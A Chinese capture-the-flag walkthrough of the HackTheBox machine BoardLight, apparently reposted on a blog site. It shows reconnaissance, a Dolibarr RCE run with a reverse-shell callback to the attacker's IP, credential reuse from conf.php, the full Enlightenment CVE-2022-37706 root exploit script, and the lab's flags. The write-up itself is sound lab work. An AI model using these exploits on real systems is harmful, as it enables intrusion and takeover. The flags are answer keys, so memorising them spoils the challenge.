[Meachines] [Easy] BoardLight Dolibarr17.0.0-RCE+Enlightenment v0.25.3权限提升

news2024/9/21 11:16:08

信息收集

IP AddressOpening Ports
10.10.11.11TCP:22,80

$ nmap -p- 10.10.11.11 --min-rate 1000 -sC -sV

PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
|   256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
|_  256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
80/tcp    open     http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
8221/tcp  filtered unknown
9564/tcp  filtered unknown
19285/tcp filtered unknown
19837/tcp filtered unknown
20734/tcp filtered unknown
24875/tcp filtered unknown
26918/tcp filtered unknown
36270/tcp filtered unknown
36538/tcp filtered unknown
38225/tcp filtered unknown
40483/tcp filtered unknown
53279/tcp filtered unknown
56489/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP && 子域名挖掘

$ whatweb 10.10.11.11

image.png

# sudo echo "10.10.11.11 board.htb" | sudo tee -a /etc/hosts

image-1.png

$ ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://board.htb -H "Host: FUZZ.board.htb" -fs 15949

image-2.png

# sudo echo "10.10.11.11 crm.board.htb" | sudo tee -a /etc/hosts

http://crm.board.htb/

image-3.png

image-4.png

username:admin password:admin

image-5.png

https://github.com/nikn0laty/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253

image-6.png

$ python3 exp.py http://crm.board.htb admin admin 10.10.16.24 10032

image-7.png

www-data@boardlight:~/html$ cat ./crm.board.htb/htdocs/conf/conf.php

image-8.png

username:dolibarrowner
password:serverfun2$2023!!

$ ssh larissa@10.10.11.11

image-9.png

User.txt

b7f82dc5b4ed058a7ea007f02cafde10

权限提升

larissa@boardlight:/tmp$ find / -perm -4000 -type f 2>/dev/null

image-10.png

https://www.exploit-db.com/exploits/51180

image-11.png

#!/bin/bash

echo "CVE-2022-37706"
echo "[*] Trying to find the vulnerable SUID file..."
echo "[*] This may take few seconds..."

file=$(find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1)
if [[ -z ${file} ]]
then
	echo "[-] Couldn't find the vulnerable SUID file..."
	echo "[*] Enlightenment should be installed on your system."
	exit 1
fi

echo "[+] Vulnerable SUID binary found!"
echo "[+] Trying to pop a root shell!"
mkdir -p /tmp/net
mkdir -p "/dev/../tmp/;/tmp/exploit"

echo "/bin/sh" > /tmp/exploit
chmod a+x /tmp/exploit
echo "[+] Enjoy the root shell :)"
${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net

larissa@boardlight:/tmp$ chmod +x exp.sh

larissa@boardlight:/tmp$ bash exp.sh

image-12.png

Root.txt

f1844b04972e657f7e59544e69e23c20

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2079235.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【软件使用-MEGA】报错及解决方法

报错1:Error: MEGA has detected duplicate taxa labels. (in line 370) **************************************************************************** ; Please note the following important messages: ; **********************************…

怎么写文献综述?文献综述方法和工具推荐!

文献综述是每个科研人绕不过的坎,其实文献综述简单说就是对你自己研究主题之前的研究的一个完整的概括,这个完整的概括主要是来展示目前已有的一些观点和未来可能可以在这个主题之下能够研究的一些创新点,用很多文献来支撑你自己的研究主题。…

Java11 文件操作和io流

文件操作和IO流 文件操作和IO流磁盘操作File类创建file对象文件操作获取文件信息判断文件删除文件创建文件 Files工具类字符操作字节操作遍历目录(非递归) IO流字节操作(字节流)输出流:InputStream(读&…

C++学习笔记——菲波那契数

一、题目描述 二、代码 #include <iostream> using namespace std;int main() {int k0;cin >> k;int a[k];a[0]1;a[1]1;for(int i2;i<k;i){a[i] a[i-1] a[i-2] ;}cout << a[k-1];return 0; }

VBA技术资料MF193:获取右键菜单的名称及ID

我给VBA的定义&#xff1a;VBA是个人小型自动化处理的有效工具。利用好了&#xff0c;可以大大提高自己的工作效率&#xff0c;而且可以提高数据的准确度。“VBA语言専攻”提供的教程一共九套&#xff0c;分为初级、中级、高级三大部分&#xff0c;教程是对VBA的系统讲解&#…

合宙Air700EAQ硬件设计手册——射频接口、电气特与规格

合宙Air700EAQ是一款基于移芯EC716E平台设计的LTE Cat 1无线通信模组。 支持亚洲FDD-LTE的4G远距离无线传 输技术。 以极小封装&#xff0c;极高性价比&#xff0c;满足IoT行业的数传应用需求。 例如共享应用场景&#xff0c;定位器场景&#xff0c;DTU数 传场景等。 本文我…

中仕公考怎么样?考公怎么看我的专业能不能报?

正在国考备考的考生们注意看了&#xff0c;怎么看自己的专业是否能报?中仕为大家讲解一下! 在公务员考试中&#xff0c;不同的专业可选择的岗位不同&#xff0c;根据岗位的多少又分为&#xff1a;热门专业和冷门专业&#xff0c;那些专业是热门专业? 考公热门专业&#xff…

Java 工厂模式的使用,零基础教程,上手即会

工厂模式&#xff08;Factory Pattern&#xff09;是一种常用的创建型设计模式&#xff0c;它提供了一种创建对象的最佳方式。在工厂模式中&#xff0c;我们在创建对象时不会对客户端暴露创建逻辑&#xff0c;并且是通过使用一个共同的接口来指向新创建的对象。&#xff08;常用…

splunk Enterprise 的HTTP收集器-windows

1.创建HTTP收集器 2.使用HTTP收集器 然后打开全局设置&#xff1a;把ssl给去掉&#xff0c;点保存&#xff08;保存之后&#xff0c;可以看到这些状态全部都是已启用了&#xff09;&#xff1a; 3.测试&#xff1a; curl --location --request POST http://192.168.11.131:808…

为什么已经设置了.gitignore文件,但某些需要被忽略的文件仍然显示?如何解决.gitignore无法忽略文件?

问题描述&#xff1a; 某个同事&#xff0c;不小心把编译文件夹&#xff08;这两个文件夹【uni_modules 和unpackage】&#xff09;提交到了远程仓库里。导致其他人提交的时候提示了冲突。因为每个人编译出来的文件都不一样。 然后我们在.gitignore文件设置了排除这两个文件夹…

5步打造安顺旅游数据可视化分析系统——Python Django + Vue 技术

&#x1f393; 作者&#xff1a;计算机毕设小月哥 | 软件开发专家 &#x1f5a5;️ 简介&#xff1a;8年计算机软件程序开发经验。精通Java、Python、微信小程序、安卓、大数据、PHP、.NET|C#、Golang等技术栈。 &#x1f6e0;️ 专业服务 &#x1f6e0;️ 需求定制化开发源码提…

Modbus rtu的通信(做主站)

Modbus rtu的通信&#xff08;做主站&#xff09; 首先进入“设备视图”添加通讯模块RS422/RS485通讯模块&#xff0c;点击通讯接口&#xff0c;配置modbus的参数&#xff0c;常规→端口组态&#xff0c;选择“半双工&#xff08;RS-485&#xff09;2线制模式”&#xff0c;波特…

一个案例讲清楚利用电商API数据分析的逻辑

01 分析思路 通过经营整体数据、客群、商品3个方向。 目前整体的销售走势如何&#xff1f;都通过哪些渠道进店&#xff1f;整店转化率怎么样&#xff1f;一周内哪天最活跃&#xff1f;客群转化和留存如何&#xff1f;哪些品类和商品为主要贡献&#xff1f; 02 数据定义与处…

酸敏感多肽在药物递送方面的作用机制及其应用

摘要: 作为一类新型的递送载体&#xff0c;多肽具有丰富的生物活性、较低的免疫原性及良好的生物相容性&#xff0c;近年来利用多肽递送药物或基因的研究得到广泛关注。其中&#xff0c;具有酸敏感性的多肽&#xff0c;在肿瘤微环境或溶酶体的弱酸性条件下可以产生二级结构的改…

小模型血战 phi3.5暂时胜出

背景 大模型推理成本高&#xff0c;训练成本高&#xff0c;百万美金训练一次&#xff0c;全量微调&#xff0c;加载到GPU显存都成本很高&#xff0c;创业公司没法搞&#xff0c;一般的公司想到还没想到用大模型挣钱了&#xff0c;就要这么大投入。基本犹豫就不投入&#xff0c…

【B端产品知识总结】角色权限管理设计思想

目录 前言 一、简单的用户权限 二、基于角色的权限访问模型&#xff08;RBAC&#xff09; 三、RBAC模型的其他权限方案 1、用户组权限设计 2、继承角色权限设计 3、基于角色设计的约束 四、权限控制的设计 1.页面权限 2.操作权限 3.业务权限 4.数据权限 五、对于B端…

【MyBatis】转义符+缓存机制

目录 一. 特殊符号处理 二. MyBatis缓存机制 1. 什么是缓存&#xff1f; 2. 一级缓存 3. 二级缓存 一. 特殊符号处理 1. 在 mybatis 中的 xml 文件&#xff0c;一些特殊符号需要转译&#xff1a; <!--转义字符 " <" 号会报错&#xff0c;">&qu…

哪个软件可以把试卷扫描成空白卷?这几款很不错

哪个软件可以把试卷扫描成空白卷&#xff1f;在数字化学习日益普及的今天&#xff0c;将试卷扫描成空白卷成为了许多教师和学生提升学习效率的重要手段。传统的扫描仪不仅体积庞大、操作复杂&#xff0c;而且成本高昂&#xff0c;不太适合个人用户。那么要怎么做呢&#xff1f;…

图纸文件怎么加密,六款图纸加密软件推荐

在现代设计与工程领域&#xff0c;图纸和设计文件的安全性至关重要。无论是建筑设计、机械工程还是电子电路图&#xff0c;图纸泄露都可能造成无法估量的损失。因此&#xff0c;选择一款可靠的图纸加密软件是保护知识产权的首要任务。在本文中&#xff0c;我们将推荐六款备受好…

尚硅谷Java面试题第四季-Java基本功

1.服务可用性多少个9是什么意思&#xff1f; 2.Arrays.asList()把数组转换成集合大坑 代码&#xff1a; public class Arrays_BugDemo {public static void main(String[] args){List<Integer> list Arrays.asList(1,2);list.add(3);list.forEach(System.out::println…